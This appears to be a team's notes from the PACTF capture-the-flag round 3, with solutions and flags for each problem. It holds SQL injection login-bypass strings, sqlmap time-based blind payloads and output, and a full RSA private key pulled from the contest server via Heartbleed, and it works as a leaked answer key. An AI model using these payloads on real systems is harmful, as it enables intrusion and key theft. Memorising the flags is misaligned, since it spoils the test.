News:

1. Round 3, Wicked Web, has begun! Note that this round there will be little to no hints offered on any problems. Make sure to read each problem very carefully to determine what’s asked for!

Leaked answers

First Task Sutro Tower

Ess Kyuu Ell phil\_should\_stick\_to\_banking

What Does It Say? Digicert

Mystery Man Jerome L. Waters

Lurking in Plain Sight i\_found\_a\_header!

SQL: The Sequel bobby\_tables\_little

Wikipedia Knew cNi76bV2IVERlh97hP

The Big Picture s6D1lyLbH5HSwkqBdFAv

A Fierce Attacker CJY0n9d1cZHkuEkEsF2U5sf1Aqh0TQ

Heartbroken 57Yh+k6TTFiz63os1nWhAP/g5X9UBWzcj7pl91beLbE=

**SCORE: 500 / 600**

|  |  |
| --- | --- |
| TITLE: | First Task |
| PROMPT: | What is [this](https://www.pactf.com/static/ctfproblems/fecf83f1-00ac-4e08-a752-a74647724792/picture-EYQGucDEEcJ2ePr8fz83.2c0a0901ad2a.jpg)? |
| HINT: | If you don’t know what it is, then Google would be your best friend. |
| HOW: | Use Google Image Search, take the URL of the image and it gives you the name of the building. |
| FLAG: | Sutro tower |

|  |  |
| --- | --- |
| TITLE: | Ess Kyuu Ell |
| PROMPT: | We let Phil in accounting take [this one](http://159.203.217.155/Injection1/). We had higher hopes for him… |
| HINT: | There are a few ways to solve this one. Get creative! You’ll need to use some SQL injection. Good luck! |
| HOW: | Enter **“ or ””=”** (with quotes everything in bold) in the username and password fields. Click Submit to retrieve the flag. Check out <http://www.w3schools.com/sql/sql_injection.asp> |
| FLAG: | phil\_should\_stick\_to\_banking |

|  |  |
| --- | --- |
| TITLE: | What Does It Say? |
| PROMPT: | [What does it say?](https://revoked.grc.com/) Special note of thanks to the great people at what? |
| HINT: | How can you figure out what the site says? |
| HOW: | Follow the link to the bottom, read the note in grey. |
| FLAG: | Digicert |

|  |  |
| --- | --- |
| TITLE: | Bears and Bulls |
| PROMPT: | FlexCorp likes to dabble in the stock market. They have managed to keep their investments off the books, but, vain as they are, they couldn’t help but track how popular their investments were being, tracking this in a CSV file titled [interest.csv](https://www.pactf.com/static/ctfproblems/7c74b4dc-c2cf-4f4a-90f1-06dce2e51baf/interest-Sn5zYA7TyVXFcL9PgLLF.3e2e84a9073c.csv), created in January 2004 and apparently accessed monthly. Can you figure out their investments (separating them with an underscore if necessary)? |
| HINT: | Google is your best friend. |
| HOW: |  |
| FLAG: |  |

|  |  |
| --- | --- |
| TITLE: | Mystery Man |
| PROMPT: | I’m Tony Tan, and I often get weird emails. But I don’t like the feels of [this one](https://www.pactf.com/static/ctfproblems/c0121378-93c3-459c-a8ea-133e0f155723/email-WTNk4Zn4ytCZ5fnr5Zyr.83e84e06b7ee.txt), and I need to know who sent it. |
| HINT: | I want the sender’s first name, middle initial, and last name. Don’t email him though, because I don’t want him finding out about this. |
| HOW: | If you search for his key in the MIT public key database, you get this  <http://pgpkeys.mit.edu:11371/pks/lookup?op=vindex&search=0x03DF93F346726FC6>  If you search for that email on Google, you get a “Jerome L. Waters” at <https://jlwaters0825.wordpress.com/author/pactfproblem1/> |
| FLAG: | Jerome L. Waters |

|  |  |
| --- | --- |
| TITLE: | Lurking In Plain Sight |
| PROMPT: | The flag is lurking in [plain sight](http://104.236.130.98/plain_sight/). |
| HINT: | Nope! |
| HOW: | Most of the links are published 4/22/16 if that means anything  From chat: “it has nothing to do w/ the urls”  <http://backtrace.io/blog/blog/2016/04/22/elf-shared-library-injection-forensics/>  Says flag a lot and its the only non https site (non-encrypted, AKA plain text)  Also there are a lot of plain text boxes with code   1. Open google chrome developer tools 2. Enter the link provided by PACTF 3. Go to the Network tab 4. View the HTTP header for the first item 5. Nice shit 6. Were in the lead? No super close though 7. Almost… hahaha My parents just turned off the wifi:( so I'm on my phone using data :/ we are 10th rn |
| FLAG: | i\_found\_a\_header! |

|  |  |
| --- | --- |
| TITLE: | SQL: The Sequel |
| PROMPT: | Dr. Miles looked at our stuff and decided to [teach us a lesson](http://159.203.217.155/Injection2/). Unfortunately, he was kind of in a rush and decided that the builtin PHP string escapes should be enough. Is he right? |
| HINT: | A quote is a quote, as PHP gloats! |
| HOW: | <http://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string>  <http://www.securiteam.com/securityreviews/5DP0N1P76E.html> (never mind not as helpful)  Try SQLmap…?  POST parameter 'username' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable  Output from a part of sqlmap:  web server operating system: Linux Ubuntu  web application technology: Nginx, PHP 5.5.9  back-end DBMS operating system: Linux Ubuntu  back-end DBMS: MySQL 5.0.12  banner: '5.5.49-0ubuntu0.14.04.1'  current user: 'Injection2@localhost'  current database: 'Injection2'  current user is DBA: False  Database: Injection2  Table: Injection2  [6 columns]  +----------+--------------+  | Column | Type |  +----------+--------------+  | birth | varchar(6) |  | flag | varchar(20) |  | name | varchar(20) |  | password | varchar(20) |  | sex | char(1) |  | username | varchar(256) |  +----------+--------------+  Parameter: password (POST)  Type: AND/OR time-based blind  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  Payload: username=alaQ&password=" AND (SELECT \* FROM (SELECT(SLEEP(5)))LWhR) AND "ftNG"="ftNG  Parameter: username (POST)  Type: AND/OR time-based blind  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  Payload: username=alaQ" AND (SELECT \* FROM (SELECT(SLEEP(5)))BUOP) AND "sLBv"="sLBv&password=  There’s two admins - chat  Said to filter out one of them using an SQL keyword - but I have no idea  I know you can filter out rows/ columns using WHERE but that probably doesnt help  Keyword: LIMIT  Wasn’t planning on it 2 AP tests Tuesday  I just want this heartbleed problem and this one would be nice i dont care about big pic or lurking  **Type in for both admin and password:**  **admin" limit 1 #**  What does that do?  Username = admin, limits to the first row…? |
| FLAG: | bobby\_tables\_little |

|  |  |
| --- | --- |
| TITLE: | Wikipedia Knew |
| PROMPT: | Once upon a time, [Wikipedia](https://en.wikipedia.org/wiki/Flag) knew what THE FLAG is. |
| HINT: | I wish we could travel back in time. |
| HOW: | 1. Follow the Wikipedia link. 2. Click “View History” in the top right. 3. Navigate to the **August 17, 2015** edit. 4. It will say: “*In a certain CTF competition, the flag to a certain problem is "cNi76bV2IVERlh97hP".*”   Haha yeah ik i had time during a study  Did you just go through every edit and find that? Damnnn that sounds fun |
| FLAG: | cNi76bV2IVERlh97hP |

|  |  |
| --- | --- |
| TITLE: | The Big Picture |
| PROMPT: | My friend often tells me that I am missing the [big picture](https://www.pactf.com/static/ctfproblems/3535241d-09b5-47d0-a0df-67aee0e1d8d1/image-qethuDuHPMtsU4sza6yx.54d89542b744.jpg). |
| HINT: | No hint. |
| HOW: | Its definitely a concatenated file — nvm its not RIP  ORIGINAL:  <http://www.nasa.gov/sites/default/files/images/115334main_image_feature_329_ys_full.jpg>  Maybe “The Blue Marble” ? , “AS17-148-22727” "AS17-148-22726”  “Incorrect! Are you missing the big picture?”  **I fuckin know that there is encoded text in this image i just cant find any online tools that support big files**  **www120.lunapic.com/editor/?action=decrypt**  **Go to there and start trying different keys with me**  **Caps matter**  ***“The Big Picture”***  **“Big picture”**  **“big picture”**  **“earth”**  **“Flag”**  **“flag”**  **“pactf”**  **“image-qethuDuHPMtsU4sza6yx.54d89542b744”**  **“space”**  **“No hint.”**  **April 22 is Earth day, the key is probably earth day**  I noticed that there are some color differences between the original and this. |
| FLAG: |  |

|  |  |
| --- | --- |
| TITLE: | Unauthorized Access |
| PROMPT: | Get us [authorized](http://104.236.130.98/). |
| HINT: | Can you change who you are? |
| HOW: | I tried changing user agent to Google bot but no dice  I asked someone on chat: they gave me a hint to use a google service.  Aww that is soo sneaky, the google translate proxy. Well played pactf   1. Go to Google Translate. 2. Enter the link provided into the left text field. 3. Click on the URL on the right field. 4. The flag is presented. |
| FLAG: | PiA2G1ujz1vgnI4aaESV |

|  |  |
| --- | --- |
| TITLE: | A Fierce Attacker |
| PROMPT: | Intelligence states that the flag is located on a server with the domain ‘pactf.tk’ on a secret sub-domain. Can you find the correct sub-domain? |
| HINT: | Take a guess. Or find someone fierce instead. |
| HOW: | 1. Go to <https://pentest-tools.com/information-gathering/find-subdomains-of-domain> 2. Enter “pactf.tk” 3. Turn on “Include subdomain details” 4. Click “Start” 5. Go through list at the bottom, and find [vpn.pactf.tk](http://vpn.pactf.tk) |
| FLAG: | CJY0n9d1cZHkuEkEsF2U5sf1Aqh0TQ |

|  |  |
| --- | --- |
| TITLE: | Heartbroken |
| PROMPT: | I need to intercept someone’s secure connection to [this website](https://heartbroken.pactf.ml/). Can you help me steal the RSA private key for the server cerificate? Submit the Base64 encoded SHA256 hash of the server’s RSA private key. |
| HINT: | If you got the private key, you’ll need to convert it to DER format, hash it with SHA256, and then make sure the hash is in Base64. The end result should somewhat look like lv8t74hplkz79CIsCsBzDiaTfJF1skxv0rLhkV5Gw2A=.  openssl rsa -in private.key -outform der | openssl dgst -sha256 -binary | openssl enc -base64 |
| HOW: | HEARTBLEED VULNERABILITY!!!  <http://darksi.de/9.heartbleed/>  <https://www.lightbluetouchpaper.org/2014/04/25/heartbleed-and-rsa-private-keys/>  <https://matthewarcus.wordpress.com/2014/04/16/how-to-leak-a-key/>  <https://blog.cloudflare.com/searching-for-the-prime-suspect-how-heartbleed-leaked-private-keys/>  Ez.  This is the key in PEM format  -----BEGIN RSA PRIVATE KEY-----  MIIEpAIBAAKCAQEAyODBJz2p+dpYme1N4e+gVTA4F8FBcEBhhvx712LoqEO6ARCG  7yyPDlO756e91lwQv403PQZ6dl2aPQgAIaAyvnGajYDgJdZw5E4jiPfameSyATYp  zPk+oloHD012aHIKahxybTmF91Xdiylzo60oPCe/1eVwnU4i3j8CmKitBgig+eHr  08RFg5KQDTQ4QpFvvdyZVA+f5adxsO+5G9x8//WOn1aAVxHETVfSkUY0LAIbFANu  M7/+olxGvfDcyFf0A+KqIJlLCyS6K8bqVsy9bd8epqKgf0EYWYqESJGF07qBLwpa  le4RPocO0Dcw9JpltbxqrWwUySCpJ6r4twgJhwIDAQABAoIBAHjZ3trA2nYaypsw  jV6UT51wuQ5xkfD6irIvTEI0m0xAErN5QfS6lgZEkhO4cxl3ogvb5ZOtRhfYEGcP  XSTdwCmbJyRimHerH5f6+p34n2dek0jvUQ6kFO6PwxeNvuLvWRylqKHVracz3WlP  suaR0lb+gwcoViwNSiTzO5ikQhQSJALYhWuTTSVNMW68KOVGO/y1hwpCdK07guJ9  GB4aUuuFxhZCu+ZL7Mo5V4y8yLPd7Auwoa5mgjADM6T5ew0vbXVZF8GfoDmIJsYz  TkUi9ZAKHRmH3Y6lmzOwelErhYoeMRC3HNv+/hMU+4G5bcXecLYzn2xCocEfbahq  v7Am+2ECgYEA5h9H2RybePJpyY/pH4Wrszp3yglBFfRl2O2J0c5bT0jMaTtlhO3N  U4J4cF9figE2BjhdbO2wmiVZG0+t66Y6E0XSJSqpYsHhk8uXSsMz82uXhtbyKVOh  lLwdiF29UDGMCzlJbJkK197aRp7DrZ7cq10Hie3lYT8KA+kFUmlATu0CgYEA33eY  b2gfra7hnzidWbWAT1YdplYy0j+wSTnT5sM3karYhTl/rkuil8L2pHXdsfr3gZb5  x5+btk7M3Z6I9euwx+ikG40YOpukIAX/9nlU7y4zCtCeNqrI0pXlZn5Br/K4c7vI  yetbnTG812u5lkxxJcKQU1xT/fmaGDiX1QiTN8MCgYEAy7tatADilfeVIw5qmLis  HWLSejF9ZfWCL2Kt1uCkejbPKoswJzlqlumsk4VLV6ZBIz4XB0B/LV1WxbQUXvXv  uV++YDarn9AKeugIYdP15hv+Sx6ontEtV+lIEeFKF9GFYHRQhskACU+YCseYKpvG  IR5aWmPEy3TOtQftzrBa3AoCgYEAsn6tOKplOmr1HEwhMv34Kw3JajZh9eMNd9eJ  +oU/5fTXpCz20JpIN3B8jm2UGFUtrEKJz//5j2z3pxDU5SvDOGSIyv5l7Luho3LW  0k/PP2VKHfM3SUCfrT17OBIYktaojFwIbQ/lJ9hyaVk931ModJMIznsC2UB2sJ1m  sxAqGBMCgYAHTd29zOaBAy7gOaf2cGT4TIe2vXc7QceF7zW1eCAQRmE4N8Lea7YB  +zCowjTWj3pSllg3kKRGgmlU5bA57j7EYwoYmTNYek+4tjNRrh5asTHwuB9Uyrdu  TBxP1GtKSu0Ln5jStoPB4rHBTnVHPwMznJ14Lgcj1ZqPuhpZemNpWw==  -----END RSA PRIVATE KEY-----  This is definitely the right private key, I just can’t get the right base64 thing from it  How did u get the key?  <https://github.com/robertdavidgraham/heartleech>  Good job!  Lol got the hard part now i cant get the easy part |
| FLAG: | 57Yh+k6TTFiz63os1nWhAP/g5X9UBWzcj7pl91beLbE= |